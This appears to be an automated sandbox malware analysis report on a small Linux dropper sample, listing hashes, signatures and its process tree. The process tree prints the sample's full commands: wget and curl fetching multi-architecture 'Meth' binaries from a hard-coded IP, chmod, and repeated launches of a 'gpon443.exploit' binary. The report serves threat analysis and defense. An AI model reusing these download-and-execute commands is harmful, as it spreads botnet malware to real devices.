Analysis
-
max time kernel
79s -
max time network
128s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
28-07-2024 03:58
Static task
static1
Behavioral task
behavioral1
Sample
084300db84b72d190951f7cca78ee9e3_JaffaCakes118
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
084300db84b72d190951f7cca78ee9e3_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
084300db84b72d190951f7cca78ee9e3_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
084300db84b72d190951f7cca78ee9e3_JaffaCakes118
Resource
debian9-mipsel-20240729-en
General
-
Target
084300db84b72d190951f7cca78ee9e3_JaffaCakes118
-
Size
3KB
-
MD5
084300db84b72d190951f7cca78ee9e3
-
SHA1
a3a989180ea0ffa677ed97f1a3747c771caee062
-
SHA256
d3e494fd077267d03723741a3278cd232b9aeea49533f4d218f3669a049be23f
-
SHA512
ad0f90a8eb754101ce13fc19d18dc3d801aa297138aeb83b3e0e4ead97ec7c7d35b46e8834d2553385cad5bef0e8f281b5a6fdca8ce1a7a7bb4dac52eabcdef8
Malware Config
Signatures
-
Executes dropped EXE 13 IoCs
Processes:
sn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtsn0rtioc pid process /tmp/sn0rt 1532 sn0rt /tmp/sn0rt 1538 sn0rt /tmp/sn0rt 1544 sn0rt /tmp/sn0rt 1550 sn0rt /tmp/sn0rt 1558 sn0rt /tmp/sn0rt 1564 sn0rt /tmp/sn0rt 1570 sn0rt /tmp/sn0rt 1576 sn0rt /tmp/sn0rt 1582 sn0rt /tmp/sn0rt 1588 sn0rt /tmp/sn0rt 1594 sn0rt /tmp/sn0rt 1600 sn0rt /tmp/sn0rt 1606 sn0rt -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
084300db84b72d190951f7cca78ee9e3_JaffaCakes118description ioc process File opened for modification /tmp/sn0rt 084300db84b72d190951f7cca78ee9e3_JaffaCakes118
Processes
-
/tmp/084300db84b72d190951f7cca78ee9e3_JaffaCakes118/tmp/084300db84b72d190951f7cca78ee9e3_JaffaCakes1181⤵
- Writes file to tmp directory
PID:1524 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.x862⤵PID:1525
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.x862⤵PID:1529
-
/bin/catcat Meth.x862⤵PID:1530
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-k9Z79W2⤵PID:1531
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1532 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.mips2⤵PID:1534
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.mips2⤵PID:1535
-
/bin/catcat Meth.mips2⤵PID:1536
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-k9Z79W2⤵PID:1537
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1538 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.mpsl2⤵PID:1540
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.mpsl2⤵PID:1541
-
/bin/catcat Meth.mpsl2⤵PID:1542
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-k9Z79W2⤵PID:1543
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1544 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm2⤵PID:1546
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm2⤵PID:1547
-
/bin/catcat Meth.arm2⤵PID:1548
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 systemd-private-e2303c266ec2474f9179c619072bd956-systemd-timedated.service-k9Z79W2⤵PID:1549
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1550 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm52⤵PID:1552
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm52⤵PID:1553
-
/bin/catcat Meth.arm52⤵PID:1556
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1557
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1558 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm62⤵PID:1560
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm62⤵PID:1561
-
/bin/catcat Meth.arm62⤵PID:1562
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1563
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1564 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm72⤵PID:1566
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arm72⤵PID:1567
-
/bin/catcat Meth.arm72⤵PID:1568
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1569
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1570 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.ppc2⤵PID:1572
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.ppc2⤵PID:1573
-
/bin/catcat Meth.ppc2⤵PID:1574
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1575
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1576 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.m68k2⤵PID:1578
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.m68k2⤵PID:1579
-
/bin/catcat Meth.m68k2⤵PID:1580
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1581
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1582 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.spc2⤵PID:1584
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.spc2⤵PID:1585
-
/bin/catcat Meth.spc2⤵PID:1586
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1587
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1588 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.i6862⤵PID:1590
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.i6862⤵PID:1591
-
/bin/catcat Meth.i6862⤵PID:1592
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1593
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1594 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.sh42⤵PID:1596
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.sh42⤵PID:1597
-
/bin/catcat Meth.sh42⤵PID:1598
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1599
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1600 -
/usr/bin/wgetwget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arc2⤵PID:1602
-
/usr/bin/curlcurl -O http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.arc2⤵PID:1603
-
/bin/catcat Meth.arc2⤵PID:1604
-
/bin/chmodchmod +x 084300db84b72d190951f7cca78ee9e3_JaffaCakes118 config-err-GvQjsb netplan_dhxygxhm sn0rt snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM92⤵PID:1605
-
/tmp/sn0rt./sn0rt gpon443.exploit2⤵
- Executes dropped EXE
PID:1606